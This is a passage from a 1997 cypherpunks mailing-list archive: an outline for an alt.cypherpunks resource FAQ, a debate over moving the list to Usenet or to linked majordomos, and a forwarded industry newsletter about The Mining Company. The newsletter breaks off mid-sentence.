background issues which cypherpunks attempt to address. It also includes pointers to many common cryptographic implementations and tools. Furthermore, pointers and instructions for various mailreaders are provided to help users filter out some of Usenet's inevitable noise and glean the most useful information they can from this newsgroup. This FAQ does not attempt to explictly define who the Cypherpunks are or answer questions about the philosophy. That is an exercise for the reader who utilizes the pointers within to find the answers on their own. After exploring these resources, the hope is that the reader will become a more effective and insightful contributor to alt.cypherpunks -- even if he/she is opposed to the goals of the group. This FAQ is propagated monthly to alt.cypherpunks. It can also be obtained be sending email with the subject and/or body "get cpunks faq" to omegam at cmq.com. When information in the FAQ is updated, I will also post a "what's new" message for those who are interested in reading additions/corrections without wading throught the entire FAQ again. -------*********------- Author's Note/Disclaimer ---------*********--------- I maintain this FAQ solely on a voluntary basis. I am doing this because I think it is necessary. It would be contrary to the anarchic nature of the Cypherpunks to attempt to call this an official FAQ of the Cypherpunks group. Anyone who disagrees with the editing decisions and pointer selections I have made in this FAQ is free to. What this means is that you are encouraged to send comments, suggestions, corrections, new questions, and answers to me. I may or may not include them in future revisions of the FAQ. I do ask that somewhere in the subject of your mail redarding this FAQ you include the text "(CFAQ suggest)", so procmail can file such comments appropriately and I can address them in a more efficient manner. If I use your suggestion or answer to a question, I will attribute the reference to you unless you request that I do not. You are free to create your own Cypherpunks-resources FAQ if you don't like mine. - Scott _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ -------*********--------*********---------********--------*********------ Premliminary Outline Section 1 Introduction and General Information? Q1.1 Does this newsgroup have a charter (No but, Tim's "official" charter. Eric's note at end of original toad.com welcome message) Q1.2 How did the group get started? (Need a brief history of group as well as any pointers to early history information and posts, also include pointer to early wired article) Q1.3 What do Cypherpunks want? (May's Cyphernomicon, CSUA Berkely site, Others?) Q1.4 What happened to the toad.com mailing list? Are there archives? (Brief explanation, quote Gilmore's message? point to the usual archives? Note: check and note if arhive site still prevents IE usage) Q1.5 Are there other groups besides Cypherpunks who share these goals. (point to Epic, EFF, etc sites which all have good archival information on political crypto causes even if many cpunks have strong disagreement with some of these groups. also point to Cryptography at c2.net and coderpunks lists) Q1.6 What have the cypherpunks done to advance their goals other that merely talk about them?(Pointers to anon remailers, Linux-IPSEC project, Mykotronx scandal--really need a good pointer here, more. Mention of course that many who call themselves cypherpunks are professionals in the computer security field.) Q1.7 Im interested, what can I do? Pointers to current projects, i distributed DES crack Q1.8 Quick n' Dirty Glossary: ie. GAK, TLA, etc. Section 2 Crypto in Action Q2.1 Pointers galore to PGP resources. Q2.2 Point to Schneir's site and include biblio info on Applied Crypto Q2.2 Point to cryptlib toolkits Q2.3 RSA, of course. Q2.4 pointers to disk encryption utilities for various platforms Q2.5 pointers to Raph's remailer site and other remailer info sites. remailer software. software to make remailer usage simpler (premail, PIdaho) Q2.6 pointers to the various digital cash purveyors and to explanations of how Chaumian digital cash works. Q2.7 pointers to Apache-SSL site and info, Stronghold, Q2.8 SSH Q2.9 Pointers to sites describing how various types of crypto actually work Q3.0 But how do I know if it's good crypto? Point to snake Oil FAQ? Schneir's essay. Use your brain. Section 3 Crypto and the Law Q3.1 Froomkin's site obviously.. John Young's also obvious. EFF has a good archive too. Karn case, others. Q3.2 Pointers to government's current position on crypto. ie. EAR, ITAR Q3.3 Pointers past Clipper failure info. Section 4 Who's who & (recent) History of Crypto. Q4.1 A couple of good general history sites exist. also Codebreakers bibliographical reference. Q4.2 Enigma is a common question, point to relevant sites. Q4.3 Whit Diffie--some interviews etc are available Q4.4 Bruce Schneir same Q4.5 Phil Z and PGP history and interviews. Q4.6 Jim Bizdos Q4.8 Dorothy Denning (go to include the enemy too) Q4.7 Pointers to news on breaks of ciphers Q4.8 NSA site. (Others? I'm getting sleepy, names escaping me at the moment) Question 5 Help! I want to know more but I'm drowning in noise Q5.1 Point to filtered lists in existence Q5.2 news2mail gateways as source of list. mail filtering tools come into good use. point to a bunch of them. Q5.3 Point to kill-file info for various newsreaders and platforms. Possibly include generic examples from own experience and list user's experience who wish to contribute. Specific names will be ommitted of course. Also score information for those interested Q5.4 point to information on other utilities and verification-type schemes _______________________________________________________________ Omegaman PGP Key fingerprint = 6D 31 C3 00 77 8C D1 C2 59 0A 01 E3 AF 81 94 63 Send e-mail with "get key" in the "Subject:" field to get a copy of my public key _______________________________________________________________ From rah at shipwright.com Tue Feb 11 22:38:45 1997 From: rah at shipwright.com (Robert Hettinga) Date: Tue, 11 Feb 1997 22:38:45 -0800 (PST) Subject: Mac-Crypto 1997 session Schedule Message-ID: <199702120638.WAA07847@toad.com> --- begin forwarded text Sender: mac-crypto at thumper.vmeng.com Reply-To: Vinnie Moscaritolo Mime-Version: 1.0 Precedence: Bulk Date: Tue, 11 Feb 1997 13:43:19 -0800 From: Vinnie Moscaritolo To: Multiple recipients of Subject: Mac-Crypto 1997 session Schedule hey all; I have posted a preliminary list of sessions for the 1997 Mac-Crypto conference at the Mac-Crypto conference at the webpage http://www.vmeng.com/mc/conf.html if you haven't registered, please get your name in now! if you want to give a talk, please drop me a line asap. Vinnie Moscaritolo http://www.vmeng.com/vinnie/ Fingerprint: 4FA3298150E404F2782501876EA2146A ------------------------------------------------------- ...I know what probably happened. A new high-level manager at Apple picked up some old dusty videotape off the shelf, labelled "Super Bowl 1984", played it and said, "Yah know, that guy on the screen was making a hell of a lot of sense until that trouble-maker smashed it!" --- end forwarded text ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From gbroiles at netbox.com Tue Feb 11 22:45:32 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 11 Feb 1997 22:45:32 -0800 (PST) Subject: Network of majordomos Message-ID: <199702120645.WAA07891@toad.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:45 AM 2/11/97 -0600, Firebeard wrote: >[...] I've already taken steps, along with Jim Choate, to >start a network of majordomos hosting a Cypherpunks mailing list. >[...] Our intention is to have a set of majordomos which >are intersubscribed to a cypherpunks list on each one, with measures >taken to ensure that mail loops don't develop. I still think you're just rediscovering Usenet technology. Instead of installing Majordomo, why not install INN, pass traffic as newsgroup(s) (if you don't like alt.cypherpunks, you could simply start your own top-level cpunks group(s)), and leave your NNTP port(s) open (or read-only, if you're an evil CIA brain-stealing censor) so that cpunks at large could connect with newsreaders or their own servers and send/rcv newsgroup traffic? Many cpunks could do this (instead of using Majordomo) locally, connecting to each other to achieve wide propagation and low latency. And, if you must, run mail-to-news gateway(s) which send the newsgroup to people who want it as E-mail. Usenet technology does exactly what you're describing: it's a distributed database of messages designed to facilitate each server getting its own copy of every message, and holding it locally for distribution to interested readers. Other people have been kind enough to write, debug, and document the software - all you have to do is install it. This could be running tonight. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwDefP37pMWUJFlhAQGg8wf/R/XcPI7UTmiktI0ce0cR0x54O2pTr2ju WRZ3OXNV7X8xOmU8zhvj/Q6Rg0etZRmDfj9wM51mCZuOx6uh94IlFvBTpFnEz8Vg tM3zeWSt/SukyGfxRLkrRYF4GMU5eKEYBYI7p/3q6WioYBk4JI22EeAyr5Cn+1IA icMJhCpfUE6P1YoC+7zPh+Kbp8Ny3tCtry/axsSZfVRsBZr2M33VONe47quC1l5A CBEEllkeSZey6VfAhrBxLOGiD42evx/TYU1yeR2bhcHUcQ0e5MTR8o8eDBoreuXF ntT9vD0Ov0BEhP2j5r6xC6WcFX0iEynxwErC3nNURPE5CPCoRXws/w== =w4Av -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From gbroiles at netbox.com Tue Feb 11 22:48:03 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 11 Feb 1997 22:48:03 -0800 (PST) Subject: Network of majordomos Message-ID: <199702120648.WAA07947@toad.com> At 02:08 PM 2/11/97 -0800, Peter Hendrickson wrote: >At 1:09 PM 2/11/1997, Greg Broiles wrote: >>At 10:45 AM 2/11/97 -0600, Firebeard wrote: >>> [...] I've already taken steps, along with Jim Choate, to >>> start a network of majordomos hosting a Cypherpunks mailing list. >>> [...] Our intention is to have a set of majordomos which >>> are intersubscribed to a cypherpunks list on each one, with measures >>> taken to ensure that mail loops don't develop. > >> I still think you're just rediscovering Usenet technology.... > >> And, if you must, run mail-to-news gateway(s) which send the newsgroup to >> people who want it as E-mail. > >> Usenet technology does exactly what you're describing:... > >How about this? The people who like Usenet should race ahead and set >it up. The people who like networks of majordomos should race ahead >and set those up. Just so long as the tracks meet somewhere in Utah. As I understand the creation process for an alt. group, someone posts a proposal to alt.config explaining what's being proposed, waits a week or so to see if there's a general sense of approval or disapproval or [...] and then they send a newgroup control message. Individual systems will choose to add the new group, or not, depending on local policy, administrator whim, and so forth. I sent a proposal to alt.config last night (a few hours before I got John's message indicating that the list is going away, so I wasn't able to include that fact in my message; it was also ~ 10 hours before I saw Tim's message re alt.cypherpunks so I was unable to include his more useful statement of the group's purpose) and intend to newgroup alt.cypherpunks in a week or so, absent a clear indication from the people in alt.config that it would be rmgroup'ed or otherwise have a poor chance of success. I don't think a "charter" is especially necessary or useful in the alt. hierarchy. One feature of the "alt." groups is that there's no real control over what happens there. If someone creates a one-way or two-way gateway between one or more mailing lists and alt.cypherpunks, there's nothing anyone else can do about it. (modulo cancelbunny/NoCeM, both of which are optionally honored on a site-by-site basis) So, the tracks will meet in Utah if someone decides to hook them up. Perhaps this will be you? As far as I'm concerned, nobody owns the word "cypherpunks" and we're all free to use it in any way we please - e.g., Igor can suggest "comp.org.cypherpunks", eight people can run "cypherpunks at foo.com" mailing lists, and so forth. Looking for one unified acceptable-to-everyone solution is pointless on this list. Let "n" flowers bloom. -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. From emc at wire.insync.net Tue Feb 11 22:48:27 1997 From: emc at wire.insync.net (Eric Cordian) Date: Tue, 11 Feb 1997 22:48:27 -0800 (PST) Subject: alt.cypherpunks Message-ID: <199702120648.WAA07958@toad.com> Robert Hettinga writes: > Hey, folks, > I thought all you had to do to create an alt.group was to have a news admin > somewhere just make a group; send out a control message of somekind. I > thought that alt groups didn't have to go through a charter, or voting > process, or anything else. They just happened. > Then, everyone just has to tell their local news admin that they went to > see it, or they can wait until their news admin sees it flying by, and adds > it to the available groups list at his own discretion. In theory, and according to the alt FAQ, anyone can create an alt group. In reality, control messages are merely advisory, and greater weight is lent to control messages which have the imprimatur of the Alt Cabal than to those issued by mere peons. The typical news admin finds that if he honors all rmgroup messages issued by Cabal members, when they disapprove of a newsgroup not previously discussed in alt.config, his life is made simpler, and he no longer has to weed the wheat from the chaf by hand. Since most people are inherently lazy, and most newgroups created outside of the alt.config process are trash, the path of least resistance is to only automatically honor newgroups and rmgroups issued by Cabal members. This is of course the exact antithesis of how alt was supposed to work in the first place, but with the large number of users on the Net at present, it is not practical to create every single newsgroup a person might want automatically. -- Eric Michael Cordian 0+ O:.T:.O:. Mathematical Munitions Division "Do What Thou Wilt Shall Be The Whole Of The Law" From gbroiles at netbox.com Tue Feb 11 22:55:39 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 11 Feb 1997 22:55:39 -0800 (PST) Subject: List for discussing many majordomos In-Reply-To: <199702120140.RAA23826@songbird.com> Message-ID: <3.0.1.32.19970211224603.00699d78@mail.io.com> -----BEGIN PGP SIGNED MESSAGE----- At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote: >We can coordinate our efforts. Actually, we can even have a mini >mailing list for people who want to participate in the distributed >cypherpunks experiment. If there is any interest, I can create such >a list. Yes, this is a good idea. One of the proponents of the "many majordomos" project apparently has plans to impose his own ideas about intellectual property on the project, and this seems like a pretty serious thing for a setup that's allegedly going to prevent censorship. We need a place to discuss this. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBMwFm8f37pMWUJFlhAQE4uQf/RfjKd++IRYJZyLPRqsh150098IgMY4oE GITsrs9S4N/mCRzjPUYLDmDKmEkGlN3UilQsMVT7QiPA7vxpw3yvOgWEATXMRWo6 46BRFhKHbKupy6uVCbfrNiXRa76JSdWisxi9NzwJK7jmj5g8SsEJW1Z4pij5VYVJ Ck4mVziejIE/uyQ4hzenbS2ZN+EEApoF5dxVbS5rvlk/HEcUxJMUvuoxXiVm+fFQ gs59X/Yj4WtUCNb6STH89Qwdr2RdtK5yvqvP56cMNudIcdK28K/hiEXWtkCSueLu XU1aa02TQMn/oA24iGYpUF9gnjsGgieIJSx7VB96uE9UsOg6i71mIA== =ILiw -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From ichudov at algebra.com Tue Feb 11 23:02:19 1997 From: ichudov at algebra.com (ichudov at algebra.com) Date: Tue, 11 Feb 1997 23:02:19 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702120702.XAA08107@toad.com> If the people decide for creation of a new USENET newsgroup, we need to think very hard about actually moving it to a different hierarchy from alt.*. I would propose comp.org.cypherpunks, comp.cypherpunks, sci.crypt.cypherpunks or something like that. A comp.* or sci.* newsgroup, if created, has the following advantages over an alt.* newsgroup: 1) There is usually less spam in sci.* or comp.* 2) There are virtually no completely irrelevant flamewars 3) The propagation will be a lot better 4) More people will be able to read it because of the issue of providers not carrying alt.*. I see nothing that would make a sci.* or comp.* newsgroup worse than alt.* newsgroup. igor Timothy C. May wrote: > > > (Please leave my name in any replies to ensure I see your comments.) > > I talked to Hugh Daniel at the Saturday meeting about the creation of an > "alt.cypherpunks" unmoderated (of course) newsgroup as a possible > alternative (or supplement) to cypherpunks at toad.com. Greg Broiles and John > Gilmore were there for part of the discussion, too. > > (We did not, unfortunately, get to the "future of the list" topic at the > physical meeting...the excellent presentations ran way over the expected > time and we never got to this topic. Sort of too bad, given John's edict > that we have 10 days to find and implement an alternative....) > > A Usenet newsgroup has many advantages and disadvantages. Whether it might > be gatewayed to other mailing lists--perhaps even the list(s) which > survives "cypherpunks at toad.com"--depends of course on the decision of those > hosting others lists. > > A charter statement is needed, and then the issuance of a creation message. > A better charter statement will increase the chances of more sites carrying > the newsgroup. While many sites carry essentially all newsgroups--more than > 30,000--, some sites do not and only carry some of the alt.heirarchy. And > some sites do not carry _any_ of the alt newsgroups. > > At Hugh's suggestion, I'm suggesting a "first cut" at a charter statement. > Suggestions for additional language or changes are welcome. > > Charter for alt.cypherpunks: (suggested) > > "Alt.cypherpunks is for the unmoderated discussion of cryptography and the > political, social, and economic implications of unrestricted, strong > cryptography. The Cypherpunks grpup has existed since 1992 and has been > central in the debate about strong crypto, government restrictions, crypto > anarchy, and in showing weaknesses of various ciphers and security > products. The mailing list has had as many as 1500 subscribers, plus > gateways to newsgroups and Web sites. It is expected that "alt.cypherpunks" > will be a free-wheeling forum for many viewpoints. As it is unmoderated, > readers are strongly advised to learn how to use filters and other tools > for making virtual anarchies manageable for their own tastes." > > I invite your comments, editorial suggestions, etc. Perhaps when enough of > the "collective mind" has made inputs (ughh!), the charter can be submitted > with the creation message. (I'm not knowledgeable about the process, but > I'll bet many of you are.) > > There are of course disadvantages to such a newsgroup, as any Usenet user > certainly knows. However, there are advantages as well. Here are some of > each: > > > * Advantages: > > - Usenet is set up to automagically propagate articles across tens of > thousands of sites. > > - there is no "nexus" of control, no chokepoint, no precedent (in the U.S.) > for halting distribution of Usenet newsgroups. (Canada stopped some > Homulka-Teale newsgroups a few years ago, other countries have blocked > entire sections, but note that the Scientologists have been unable to block > "alt.religion.scientology"...I surmise that a mailing list version of > a.r.s. would have faced lawsuits against the list.owner, if reachable in > U.S. or European courts...a lesson to think about with the current > imbroglio over certain claims about certain products and the possible > liability of Sandy and/or toad.com.) > > - fairly sophisticated newsreading software already exists. > > - no "unsuscribe" and "unscrive" messages! (It makes it easy for newcomers > to discover the group, read it for a while, then stop. It also, of course, > increases the number of "What is crypto?" sorts of messages.) > > - persons cannot be unsubscribed from an unmoderated list > > - with a Usenet group, there is no ability to impose notions of "order" on > the list (e.g., requirements for PGP-signing, demands for "on-topic" posts, > removal of "illegal" posts, etc.). Thus, people must deal with a virtual > anarchy by using proper tools, by ignoring what they don't want to see, or > by contracting out the role of "nanny" to others. > > > * Disadvantages > > - Usenet newsgroups are easy targets for spammers, even more so than are > mailing lists. > > - crossposting often gets out of hand. (With 30,000+ newsgroups, even > well-intentioned posters often pick the "three or four most likely" targets > for their posts). > > - propagation is often spotty, and some sites have no access at all to the > "alt.*" hierarchy. (Many corporate sites block the alt heirarchy. Many > academic sites block just the alt.binaries.pictures heirarchy. Etc. A news > to mailing list gateway is possible for these readers.) > > - propagation may be slower than mailing lists. > > - Usenet is of course archived and easily searchable via Alta Vista, Deja > News, etc.. This bothers some people. (However, the CP mailing list is now > also archived and searchable, so the disadvantage is becoming moot.) > > - persons cannot be unsubscribed from an unmoderated list (this is also an > advantage, of course) > > - there will be more newbie-type messages, as casual browsers of Usenet > discover alt.cypherpunks and ask questions. This is both a disadvantage and > an advantage. > > > * Discussion of some of these points: > > 1. The issue of slow- or non-propagation can be handled by having mailing > lists which bounce the traffic (from a well-connected site) to folks who > get slow distribution, or no distribution at all. News to mail gateways, in > other words. Traffic in the reverse direction (end reader back to > alt.cypherpunks) can be handled either by "blind posting" to the a.c. > newsgroup, via one's newsreader, or through mail-to-news gateways, or > perhaps via the distributor described here. > > 2. And the services of "moderators," such as Eric Blossom's and Ray > Arachelian's "best of" lists, or even Sandy's list, are of course still > possible. A newsgroup does not change this, except for the latency in > getting messages out to newsgroup sites. > > 3. The advantages of a "no nexus, no chokepoint" distribution are huge. The > Usenet carries huge advantages in terms of having no place to attack it. > > 4. Some have raised the point that Usenet is "inefficient" and should not > be used for this reason. Well, it may indeed be ineficient, but the costs > have already been incurred, and alt.cypherpunks would only be 1/30,000th of > additional load (very roughly speaking). In other words, might as well use > what's out there. If a "second Usenet" ever comes into existence, fine. > > 5. Some of us discussed the creation of alt.cypherpunks back in '92-93. At > that time, we thought the mailing list had some major advantages. In my > view, the situation has changed dramatically since then. The mailing list > has become huge, the volume of noise has increased, majordomo is allowing > the list to be used for spamming (any 'bot system will probably have this), > and the list is already gatewayed to many sites as a _newsgroup_ anyway. > > So, I think the time has come to just create it. The "activation energy > barrier" of a mailing list, where people would have to make the effort to > subscribe, has long since become irrelevant. > > It may be a target for spammers, but it's hard to imagine it being much > worse than what we have now. > > Usenet is an anarchy. We might as well use it. > > I've never created an alt group, but I presume many of you have (and I know > of one currently fed up Cypherpunk who created the entire alt.* hierarchy a > decade or so ago). I presume some of you can thus help in such an effort. > > --Tim May > > > > > > > Just say "No" to "Big Brother Inside" > We got computers, we're tapping phone lines, I know that that ain't allowed. > ---------:---------:---------:---------:---------:---------:---------:---- > Timothy C. May | Crypto Anarchy: encryption, digital money, > tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero > W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, > Higher Power: 2^1398269 | black markets, collapse of governments. > "National borders aren't even speed bumps on the information superhighway." > > > > - Igor. From ichudov at algebra.com Tue Feb 11 23:14:37 1997 From: ichudov at algebra.com (Igor Chudov @ home) Date: Tue, 11 Feb 1997 23:14:37 -0800 (PST) Subject: List for discussing many majordomos In-Reply-To: <3.0.1.32.19970211224603.00699d78@mail.io.com> Message-ID: <199702120659.AAA00679@manifold.algebra.com> Greg Broiles wrote: > At 06:59 PM 2/11/97 -0600, Igor Chudov @ home wrote: > > >We can coordinate our efforts. Actually, we can even have a mini > >mailing list for people who want to participate in the distributed > >cypherpunks experiment. If there is any interest, I can create such > >a list. > > Yes, this is a good idea. One of the proponents of the "many majordomos" > project apparently has plans to impose his own ideas about intellectual > property on the project, and this seems like a pretty serious thing for a > setup that's allegedly going to prevent censorship. We need a place to > discuss this. I have acreated a mailing list, cypherpunks-hosts at algebra.com, for people interested in participating in the multi-homed cypherpunks list. You can subscribe to cypherpunks-hosts by talking to majordomo at algebra.com. - Igor. From carolann at censored.org Tue Feb 11 23:19:11 1997 From: carolann at censored.org (Carol Anne Cypherpunk) Date: Tue, 11 Feb 1997 23:19:11 -0800 (PST) Subject: Crypto: Job Opportunity Message-ID: <3.0.16.19970212011421.2b174ef4@mailhost.primenet.com> -----BEGIN PGP SIGNED MESSAGE----- The Mining Co. (http://www.miningco.com) is looking for "siteguides". There will surely be a guide needed for cryptography. Pay is commensurate with hit volume, but it isn't too shabby, at about 3K per month after about a year. There is the original posting from Sideman's Online Insider following this post to acquaint you with the particulars. Good Luck to whomever from this list (for I'm sure someone will) takes the aformentioned position. I would, but I'm applying for a different site in the Culture/Beliefs section. On one other note, the PGP Plugin for Eudora is MARVELOUS! THIS I can even teach a clueless newbie! Carol Anne Cypherpunk -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Uncensored from heavily.censored.org iQCVAwUBMwAfd4rpjEWs1wBlAQG3YwP/XXgJfqD06KTLfdDfj2mAweBrFAASsRR8 q37l43InJU/AVhRJ0MKkcmxto7sfO1jHNW6O0+0HjrnMRZAmnw7YH806+mCCerUG CeTT5U97Cp/V5Yud6r6f0vqP/BPk8etGIZnGgWKajJ49rFTGlk01AgQz1xE49mmI i962UdPbyVs= =69D8 -----END PGP SIGNATURE----- ========================================================================== Seidman's Online Insider - Vol. 4, Issue 6 Brought to you by NetGuide Magazine< http://www.netguide.com > ========================================================================== Copyright (C) 1997 Robert Seidman and CMP Media Inc. All rights reserved. May be reproduced in any medium for noncommercial purposes as long as attribution is given. Kurnit is Back and Mining the Internet ====================================== "Like Arnold, he'll be back. I've been listening to what he has to say for a long time. If you listen to him, you'll hear how the Web is the way and that the proprietary services are a dead model. If you listen between-the-lines, you'll hear a modified version of that vision. A best of both worlds vision. You'll hear that he wants to develop easy to use, functional services on the Web. Like easy to use chat. Like easy to use bulletin boards. Like AOL, but on the Web." -Thoughts on Scott Kurnit in a piece regarding the failed MCI/News Corp joint venture from Seidman's Online Insider for the Week Ending February 9, 1996. Kurnit's back, and almost exactly a year to the day since the clip above was written. On Monday February 10, the new company Kurnit founded, The Mining Company, will announce their plans to basically build AOL on the Web. I'm not sure about the choice of February 10 as the day to announce this. It is a day with special significance for me. On February 10, 1972 I had a dilemma. I was hungry for breakfast and wanted some cereal. I had cereal, but no milk. So I called my mom at work and asked her if I could run across the street to the convenience store. My mom said no because "the street" was more like a highway and because I was 9 years old. "You'll get hit by a car," my mom said. As you might imagine, I went anyway. And as you also might have guessed by now my mother was right, except no car was good enough for me. I had to face off with a ten-wheeler (it was an Amoco < http://www.amoco.com > Oil tanker.) Twenty-two stitches in the head, a healed broken wrist and 25 years later, I'm still hanging in there. I don't remember anything about it, including seeing the truck. I've always wondered if I was pushed. What I do remember was waking up in the ambulance with quite a headache. But since then, seeing how I lived and all, I've always viewed February 10 as a GOOD day. The Mining Company may not be a truck setting its sights on running down AOL or even other Web content aggregators (even to some degree NetGuide Live), but it is an interesting model. *What It Is* In effect, The Mining Company wants to be the biggest online service on the Web, ultimately offering 4,000 special-interest areas in an integrated, easy-to-use interface. Whether you call these special areas channels, departments or categories -- it's all the same thing. Kurnit wants to capitalize on the fact that it takes too long to find what you want on the Net. He wants to put it all in one place with one consistent interface so that you can easily find what you're looking for and interact with those who have common interests. Each "channel" will have content, bulletin boards, online chats, links to other good stuff on the Web in the particular area of interest. You'll also be able to search a site via Verity's search engine or search the entire Net via Digital's Alta Vista. While they are currently testing another chat product, they have decided to move to the iChat chat client. In the test system I had access to, the bulletin board system was very easy to use, but painfully slow. I'll cut them some slack since they are still in beta, but users will need to be able to move around the boards quicker than what I experienced or they will likely be put off. *And Now for Something Really Different* When Kurnit first ran the vision by me a couple of weeks ago, I said "To me it seems like this is..." "AOL on the Web," Kurnit interrupted. "Not exactly," I said, "It's like AOL on the Web with a hint of Amway thrown in." One of the problems with providing editorial context for the Net is that it winds up costing a lot of money. Kurnit's previous venture with MCI/Newscorp was iGuide. They built a great guide to the Net, but ultimately they scaled it back to just become a guide to entertainment on the Net. You've read the reports all over the place about scaled back editorial efforts and rightsizing. Good editorial doesn't come cheap, at least not when done traditionally. The Mining Company isn't going after the traditional model of hiring a bunch of full-time editors and bringing them in house. They plan to use folks already out there on the Net. Once upon a time while I was at IBM, I helped recruit Chris Locke, of MecklerWeb notoriety away from the MCI/News Corp effort Kurnit was running. While there are many things Chris and I do not agree on, I was very much in synch with Chris when it came to the idea of communities of interest on the Web. Give remote people the tools to produce the content, Locke would say, and you'd be able to easily build hundreds if not thousands of communities of interest very inexpensively. Locke who is now with a hardware company in Colorado will no doubt take interest in what Kurnit and the gang at The Mining Company are up to, because they are all about providing the tools to produce the communities of interest inexpensively! If your chosen as one of its forum moderators (they call them Guides), you'll be given access to all the tools you need to build a site on the service. Now you may be thinking, "Ah, GeoCities does that already!" GeoCities < http://www.geocities.com > gives free web pages and is organized around certain communities of interest. But their homesteader program is not about setting up an all-encompassing online service. And while it is a great place to create a free web page, there's no real business model for the person creating the page. If you build a great site there, GeoCities gets the revenue on all the traffic that goes there. Because it has a lot of traffic, GeoCities can send some traffic to your Web site. But in the end, the model for GeoCities is one to give you a free page on the Web. This is good for you if you're just in it for the fun of it, and good for GeoCities too. I think GeoCities is great, but if I am looking for something in particular, I wouldn't think to look there first. The Mining Company wants to create a space that no matter what it is you hope to find, you'll look there first. *They Call them Guides* The Mining Company wants to create quality communities of interest. And for every community (channel) created, there will be a unique moderator/editor. The Mining Company calls them Guides. It's looking for more than just a few quality folks to become Guides and form their service. Starting Monday, they will begin accepting applications to become Guides on the service. There could be multiple sites about the same thing during the start-up phase, but ultimately it will be whittled down to one Guide/site per special interest. To ensure quality, they'll be a review committee set-up to make sure quality standards are up to snuff, including some folks from the community of Guides. Kurnit believes between that, the natural inclination for other Guides to point out areas of, um, weakness and user feedback, they'll have a good handle on quality. Additionally, there will be some in-house editorial to oversee major groupings (like Technology, Personal Finance, etc.) "The Mining Company is dedicated to serving the needs of its Guides and users," said Kurnit. "We give the tools and support to the Guides to help users find what they want, trust what they find, and connect them with the most valuable sites on the Net and with other interesting people." "This model is now only possible because of the team effort at The Mining Company to integrate the latest improvements in Internet technology and the newly identified needs of users and independent Web producers," adds Kurnit. *Getting the Guides* Will it be easy to get the ultimately thousands of Guides necessary to run this service? "How much talent is out there," asks Kurnit. "We look at the thousands of pages out there on AOL, GeoCities, etc., and the rest of the Internet," Kurnit said. "All we think we need to get is 2%-3% of the talent pool." In certain areas it will likely be very competitive. Everyone will want to get there first. "First there's the application process," said Scott Kurnit in a phone Interview. "You're going to show us your bio and you're going to write some columns so we can see your writing style. If you make the grade, you make it to our orientation process," Kurnit said. The Mining Company places its focus on training the Guides and giving them the tools they need to make a site. If you "make the grade" you basically have 3 weeks (2 of which are the "orientation") to get a site up-and-running on the service. "The fact is, if you can't get it done in a reasonable time then you probably don't have the dedication or time to get it done," says Kurnit. Just how much time will it take for Guides to put together sites? "We're not looking for anyone to quite their day jobs," said Kurnit. "We're looking at about a 10 hour a week commitment to produce the sites." But Kurnit also says that though there will be only one Guide per site, the Guides will be able to line up assistants. *What's in it for You?* So why The Mining Company then? Why not GeoCities or doing it on your own? Well, there are a couple of reasons. One is the promise of exposure, the other is the promise of MONEY. There is a model here, especially if you're not looking to quit your day job. While I imagine it will have to shift its model somewhat, there are some opportunities to make a buck or two for the Guides. It might not be much money, but if you're already throwing 10 hours or so a week towards maintaining a Web page that lines up around a special interest or two, any money is better than what you're probably getting now. Basically, The Mining Company is looking to allocate 40% of all advertising revenues back to the Guides themselves. The real pool here is 30%, with the additional 10% being used for things like bonuses. So, how does it work? Kurnit is looking to get quickly to a million or so page views a day (each of the pages I saw had 2 advertisements. By the end of the year, Kurnit hopes to be in the 10 million - 15 million page views. It sounds a little ambitious, but if they're successful lining up quality Guides, it could become a reality. So let's say they're getting 5 million page views per day. Based on what I saw, that would net out to be about 300 million ads running per month. Lets say ad sales average out to $30/1000 (a $30 CPM). Based on that, you're looking at a cool $9 million a month in advertising revenue. So $3.6 million is in the Guide pool, but only $2.7 million is for the true revenue split. Now, let's say you're a Guide who got one-tenth of 1 percent of The Mining Company's overall traffic. You'd make a cool $2,700 a month for your efforts. If you happen to be a guide in one of the "killer categories" whether it be a parents site or a kids site or a computing site, it's not unreasonable to think that you might get as much as 1%. That would be $27,000 per month!! Some people will balk at the 40%-60% share, but I think that's pretty fair. Where I'd predict the model will have to change, however, is in the cases where the cost per thousand (CPM) view being charged the advertisers is much higher than the average of the overall site. If the overall site average is $30/1000, but your site is generating a CPM of around $90, you're probably not going to want to be paid based on averages. *Will it Work?* In short, I think this could work quite nicely. The premise of a front door that links to content that is all packaged with a consistent look and feel is a winning premise. With AOL's recent move to flat-fee, one big advantage a Net service has over a proprietary model like AOL is the ability to create content far more easily and inexpensively. Much coverage has been given this week regarding AOL beginning to charge its partners in its Company Connection a $55,000 fee each year to participate. Some in AOL are saying its reasonable since the areas amount to "free" advertising for the companies, but realistically speaking, I think it is a maintenance fee AOL is charging to offset the cost of dealing with these forums. I think it is reasonable to expect to see AOL begin to charge similar fees for any content that isn't "must have" for them, now that the hourly charges that once subsidized these areas are gone. There is a cost of throwing in-house support at these online areas and much of the cost is due to the fact that it's a proprietary system. Setting up new "forms" and new looks just isn't easily accomplished by the content providers themselves. So, the timing may be good for The Mining Company. There are at least two tricks Kurnit and Co. must pull off. First, they have to get the 